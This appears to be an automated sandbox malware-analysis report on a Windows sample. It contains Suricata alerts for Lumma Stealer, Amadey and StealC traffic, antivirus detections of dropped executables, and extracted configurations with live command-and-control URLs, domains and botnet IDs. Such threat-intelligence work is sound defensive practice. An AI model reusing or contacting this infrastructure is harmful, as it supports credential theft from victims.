ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:02.871440+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:21:17.303967+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:31.919266+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:38.216930+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:22:04.267633+0100	2049836	1	A Network Trojan was detected	192.168.2.5	59886	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:04.041153+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:21:18.496354+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:33.539643+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:40.023992+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:22:06.053523+0100	2049812	1	A Network Trojan was detected	192.168.2.5	59889	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:02.179862+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:20:03.711751+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:20:05.042857+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-30T00:20:06.453985+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.97.3	443	TCP
2024-10-30T00:20:07.870280+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.97.3	443	TCP
2024-10-30T00:20:09.400677+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-30T00:20:11.758073+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	188.114.97.3	443	TCP
2024-10-30T00:20:14.100928+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-30T00:21:16.816370+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:17.989691+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:19.666462+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59792	188.114.97.3	443	TCP
2024-10-30T00:21:21.565322+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59793	188.114.97.3	443	TCP
2024-10-30T00:21:23.627273+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59795	188.114.97.3	443	TCP
2024-10-30T00:21:25.908915+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59798	188.114.97.3	443	TCP
2024-10-30T00:21:27.819363+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59799	188.114.97.3	443	TCP
2024-10-30T00:21:30.331818+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59806	188.114.97.3	443	TCP
2024-10-30T00:21:31.226682+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:32.818285+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:36.764977+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59822	188.114.97.3	443	TCP
2024-10-30T00:21:40.017134+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59836	188.114.97.3	443	TCP
2024-10-30T00:22:03.737393+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59886	188.114.97.3	443	TCP
2024-10-30T00:22:05.210270+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59889	188.114.97.3	443	TCP
2024-10-30T00:22:06.887350+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59890	188.114.97.3	443	TCP
2024-10-30T00:22:08.082702+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59891	188.114.97.3	443	TCP
2024-10-30T00:22:09.356655+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59892	188.114.97.3	443	TCP
2024-10-30T00:22:10.571738+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59893	188.114.97.3	443	TCP
2024-10-30T00:22:13.891848+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	59895	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:37.364807+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:21:39.541424+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:21:42.014290+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59840	104.21.43.145	443	TCP
2024-10-30T00:21:45.108287+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59843	104.21.43.145	443	TCP
2024-10-30T00:21:48.145200+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59845	104.21.43.145	443	TCP
2024-10-30T00:21:51.199857+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59847	104.21.43.145	443	TCP
2024-10-30T00:21:53.126053+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59849	104.21.43.145	443	TCP
2024-10-30T00:21:55.569186+0100	2057094	1	Domain Observed Used for C2 Detected	192.168.2.5	59852	104.21.43.145	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:15.630323+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-30T00:21:29.311403+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	59802	185.215.113.16	80	TCP
2024-10-30T00:21:31.956474+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	59810	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:12.300964+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59786	185.215.113.43	80	TCP
2024-10-30T00:21:17.839794+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59789	185.215.113.43	80	TCP
2024-10-30T00:21:23.296962+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59794	185.215.113.43	80	TCP
2024-10-30T00:21:28.399342+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59800	185.215.113.43	80	TCP
2024-10-30T00:21:33.985912+0100	2044696	1	A Network Trojan was detected	192.168.2.5	59815	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:01.109098+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	50909	1.1.1.1	53	UDP
2024-10-30T00:21:16.147586+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	51452	1.1.1.1	53	UDP
2024-10-30T00:21:29.886572+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	60506	1.1.1.1	53	UDP
2024-10-30T00:22:03.065730+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	52875	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:01.121794+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	57163	1.1.1.1	53	UDP
2024-10-30T00:21:16.159819+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	60372	1.1.1.1	53	UDP
2024-10-30T00:21:29.904113+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	59505	1.1.1.1	53	UDP
2024-10-30T00:22:03.084576+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	54332	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:01.150677+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	59110	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:01.092754+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	63599	1.1.1.1	53	UDP
2024-10-30T00:21:16.123341+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	58711	1.1.1.1	53	UDP
2024-10-30T00:21:29.871445+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	60167	1.1.1.1	53	UDP
2024-10-30T00:22:02.864548+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	64868	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:36.662082+0100	2057093	1	Domain Observed Used for C2 Detected	192.168.2.5	53051	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:01.137566+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	55927	1.1.1.1	53	UDP
2024-10-30T00:21:16.176795+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	59095	1.1.1.1	53	UDP
2024-10-30T00:21:30.562719+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	65250	1.1.1.1	53	UDP
2024-10-30T00:22:03.099516+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	63978	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:10.594308+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-30T00:21:26.388880+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	59798	188.114.97.3	443	TCP
2024-10-30T00:21:51.689785+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	59847	104.21.43.145	443	TCP
2024-10-30T00:22:08.640763+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	59891	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:24.276879+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59796	185.215.113.206	80	TCP
2024-10-30T00:21:32.766474+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59811	185.215.113.206	80	TCP
2024-10-30T00:21:42.859562+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59841	185.215.113.206	80	TCP
2024-10-30T00:21:55.675795+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59851	185.215.113.206	80	TCP
2024-10-30T00:22:13.341270+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	59894	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:05.736549+0100	2856147	1	A Network Trojan was detected	192.168.2.5	59753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:11.380266+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	59765	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:21:09.074724+0100	2803305	3	Unknown Traffic	192.168.2.5	59771	31.41.244.11	80	TCP
2024-10-30T00:21:13.848827+0100	2803305	3	Unknown Traffic	192.168.2.5	59787	185.215.113.16	80	TCP
2024-10-30T00:21:18.762479+0100	2803305	3	Unknown Traffic	192.168.2.5	59791	185.215.113.16	80	TCP
2024-10-30T00:21:24.236068+0100	2803305	3	Unknown Traffic	192.168.2.5	59797	185.215.113.16	80	TCP
2024-10-30T00:21:29.311403+0100	2803305	3	Unknown Traffic	192.168.2.5	59802	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:22:13.895381+0100	2843864	1	A Network Trojan was detected	192.168.2.5	59895	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Lipras\pdf.exe	Avira: detection malicious, Label: HEUR/AGEN.1314134
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000002.2330842559.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 34.0.num.exe.180000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: d816f1d41e.exe.7100.14.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "thumbystriw.store", "crisiwarny.store", "necklacedmny.store", "presticitpo.store", "founpiuer.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Lipras\pdf.exe	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Joe Sandbox ML: detected
Source: C:\Lipras\pdf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Session[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:59801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:59803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59895 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmp, F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000003.2235956952.00000000047B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\Session\Session\obj\Debug\Session.pdb source: Session.exe, 00000009.00000000.2732827422.0000000000C52000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\Users\danie\source\repos\Session\Session\obj\Debug\Session.pdbnh source: Session.exe, 00000009.00000000.2732827422.0000000000C52000.00000002.00000001.01000000.0000000E.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:59110 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:50909 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:57163 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:63599 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:55927 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49708 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59786 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:59753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:59765
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:60372 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:58711 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:59095 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59788 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:51452 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59790 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59789 -> 185.215.113.43:80
